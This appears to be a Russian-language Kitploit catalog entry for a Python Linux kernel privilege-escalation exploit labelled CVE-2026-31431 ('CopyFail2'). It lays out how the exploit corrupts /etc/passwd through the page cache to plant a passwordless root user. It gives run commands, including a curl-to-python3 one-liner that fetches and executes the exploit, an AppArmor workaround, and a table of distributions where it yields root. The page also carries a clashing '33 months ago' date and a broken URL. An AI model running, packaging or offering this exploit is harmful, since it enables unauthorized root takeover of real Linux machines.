Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/guiimoraes/cve-2026-31431
Повышение привилегийФреймворки для эксплойтовАнализ уязвимостейЭксплуатацияТестирование на ПроникновениеЭксплуатация Бинарных Файлов
GitHubguiimoraes/cve-2026-31431

CVE-2026-31431

Python-реализация локального эксплойта для повышения привилегий в ядре Linux для CVE-2026-31431, использующая xfrm ESP-in-UDP MSG_SPLICE_PAGES no-COW для перезаписи /etc/passwd и получения прав root.

Репозиторий
33 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Демонстрация эксплойта CopyFail2

CopyFail2 (CVE-2026-31431) — реализация на Python

Python-порт эксплойта CopyFail2 для ядра Linux, использующий быстрый путь без COW MSG_SPLICE_PAGES в xfrm ESP-in-UDP для непривилегированного повышения привилегий в Linux.

Заменяет запись nologin/false в /etc/passwd на пользователя uid-0 без пароля и открывает root-оболочку через su.

Уязвимость

Ошибка ядра находится в пути UDP splice, используемом инкапсуляцией xfrm ESP-in-UDP. Вызов splice() в UDP-сокет с MSG_SPLICE_PAGES приводит к отображению страниц в page cache получателя без запуска copy-on-write. Это позволяет записывать в любой файл, отображённый в page cache, даже если он открыт только для чтения.

  • Оригинальная реализация на C: 0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo
  • Исправление в апстриме: netdev/net.git

Требования

  • Ядро Linux >= 6.5 (поддержка MSG_SPLICE_PAGES в UDP)
  • libcrypto.so (OpenSSL)
  • Python 3.8+
  • CAP_NET_ADMIN или возможность создавать пользовательские пространства имён

Какую версию использовать

В этом репозитории представлены два варианта. Оба дают одинаковый результат; выбирайте исходя из своих ограничений.

Быстрый старт (оптимизированный)

root@kitploit:~
# Однострочник через pipe
python3 -c "$(curl -sL https://raw.githubusercontent.com/guiimoraes/copyfail2-py/main/exploit.py)"

# Сохранённый файл
python3 exploit.py

# Откат изменений
python3 exploit.py --clean

Быстрый старт (эталонный/raw)

root@kitploit:~
python3 exploit_raw.py
python3 exploit_raw.py --clean

В Ubuntu с включённым apparmor_restrict_unprivileged_userns сначала сохраните файл и запускайте с диска; режим pipe пропускает обход AppArmor.

root@kitploit:~
curl -sL ttps://raw.githubusercontent.com/guiimoraes/copyfail2-py/main/exploit.py > /tmp/x.py
python3 /tmp/x.py

Как это работает

  1. Перебором подбирается IV для AES-GCM, чей байт keystream при XOR превращает исходный байт /etc/passwd в нужное значение.
  2. Устанавливается локальное состояние xfrm ESP-in-UDP на 127.0.0.1:4500.
  3. Создаётся подконтрольный атакующему файл-подложка, содержащий поддельный заголовок ESP и ICV.
  4. Три диапазона (заголовок ESP, целевой байт из /etc/passwd, ICV) передаются через splice() в pipe.
  5. Pipe передаётся через splice() в UDP-сокет, что запускает ошибку ядра и записывает байт в page cache.
  6. Процесс повторяется для каждого отличающегося байта, чтобы перезаписать строку nologin/false на sick::0:0:...:/:/bin/bash.
  7. su - sick открывает root (PAM nullok принимает пустой пароль).

Протестировано

Устранение неполадок

cannot acquire CAP_NET_ADMIN

Возможно, в вашем ядре установлено kernel.unprivileged_userns_clone=0. Включите его:

root@kitploit:~
sudo sysctl kernel.unprivileged_userns_clone=1

Если запуск происходит внутри Docker, запустите контейнер с флагом --privileged или --cap-add=SYS_ADMIN.

Авторы

  • Hyunwoo Kim (imv4bel) и Kuan-Ting Chen — обнаружение и исправление в апстриме
  • Steffen Klassert — мейнтейнер IPsec, опубликовал исправление
  • Brad Spengler / grsecurity — ввёл термин «copyfail-class»
  • Theori / Xint — оригинальный Copy Fail (CVE-2026-31431)
  • Оригинальный эксплойт на C — 0xdeadbeefnetwork
  • Эксплойт на Python — guiimoraes

Отказ от ответственности

Этот инструмент предоставляется исключительно для авторизованных исследований в области безопасности и образовательных целей. Не используйте его против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения. Авторы не несут ответственности за неправомерное использование или ущерб, причинённый данным программным обеспечением.

Скачать инструмент
ФайлОписаниеСкоростьКогда использовать
exploit.pyОптимизированный — переиспользует состояние xfrm/сокеты/pipe между мутациями, обрабатывает 2 последовательных байта за раунд, активный опрос вместо фиксированной задержки.~3–8 с для строки из 99 байтВариант по умолчанию. Быстрый, стабильный, протестирован на нескольких дистрибутивах.
exploit_raw.pyЭталонный — максимально близок к оригинальному коду на C. Пересоздаёт состояние xfrm, сокеты, pipe и временный файл для каждого отдельного байта, фиксированная задержка 200 мс на мутацию.~30–40 с для строки из 99 байтИспользуйте, если нужен максимально простой путь кода для аудита или если оптимизированная версия некорректно работает на конкретной сборке ядра.
ДистрибутивЯдроРезультат
Ubuntu 24.04 LTS6.8.0-110-genericroot
Debian 136.12.74root
Arch6.19.11-arch1-1root
Fedora 436.19.14-200.fc43root
Ubuntu 26.04 LTS7.0.0-15-genericroot
Ubuntu 22.04 LTS5.15.0-176-genericне уязвим